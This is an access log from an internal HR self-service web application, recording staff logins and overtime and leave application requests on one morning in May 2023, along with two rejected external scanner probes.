192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7067376977971955 HTTP/1.1" 200 8900
192.168.11.136 - - [25/May/2023:09:19:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7067376977971955 HTTP/1.1" 200 8900 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:19:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7067376977971955 HTTP/1.1" 200 33959
192.168.11.136 - - [25/May/2023:09:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7067376977971955 HTTP/1.1" 200 33959 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7067376977971955" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:09:20:20 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:21:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.136 - - [25/May/2023:09:21:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:21:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D112696%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A112696&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:21:19 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D112696%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A112696&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [25/May/2023:09:21:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:21:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.12.71 - - [25/May/2023:09:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7677565885364523 HTTP/1.1" 200 14848
192.168.12.71 - - [25/May/2023:09:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7677565885364523 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.172 - - [25/May/2023:09:22:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:09:22:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7677565885364523 HTTP/1.1" 200 17030 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7677565885364523" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:22:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7677565885364523 HTTP/1.1" 200 17030
192.168.11.136 - - [25/May/2023:09:21:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:21:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:09:22:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:09:22:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.172 - - [25/May/2023:09:22:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:09:22:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.172 - - [25/May/2023:09:22:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:23:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:23:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.240 - - [25/May/2023:09:23:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:23:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.240 - - [25/May/2023:09:23:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 144
192.168.11.240 - - [25/May/2023:09:23:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 144 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:23:58 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.240 - - [25/May/2023:09:23:58 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:24:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:24:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.172 - - [25/May/2023:09:23:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:23:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.172 - - [25/May/2023:09:22:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:22:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:09:22:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:22:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.240 - - [25/May/2023:09:24:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:24:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:09:24:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:24:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:09:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.172 - - [25/May/2023:09:24:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.172 - - [25/May/2023:09:24:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.83 - - [25/May/2023:09:25:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:09:25:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.11.83 - - [25/May/2023:09:25:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:09:25:13 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.11.83 - - [25/May/2023:09:25:14 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.83 - - [25/May/2023:09:25:14 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:09:25:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.172 - - [25/May/2023:09:25:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.241.218.25 - - [25/May/2023:09:25:57 +0800] "MGLNDD_222.92.19.198_8088" 501 227
192.241.218.25 - - [25/May/2023:09:25:57 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-"
192.168.11.172 - - [25/May/2023:09:25:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:09:25:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:25:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:09:26:02 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:26:02 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E5%8A%A0%E7%8F%AD%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.&target=iframe HTTP/1.1" 200 3114
185.224.128.17 - - [25/May/2023:09:26:07 +0800] "CONNECT example.com:80 HTTP/1.1" 405 225
185.224.128.17 - - [25/May/2023:09:26:07 +0800] "CONNECT example.com:80 HTTP/1.1" 405 225 "-" "-"
192.168.12.71 - - [25/May/2023:09:26:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:09:26:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:26:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:09:26:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.71 - - [25/May/2023:09:26:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:26:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772
192.168.12.71 - - [25/May/2023:09:26:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 94104 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:26:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 94104
192.168.11.172 - - [25/May/2023:09:27:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18986
192.168.11.172 - - [25/May/2023:09:27:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18986 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
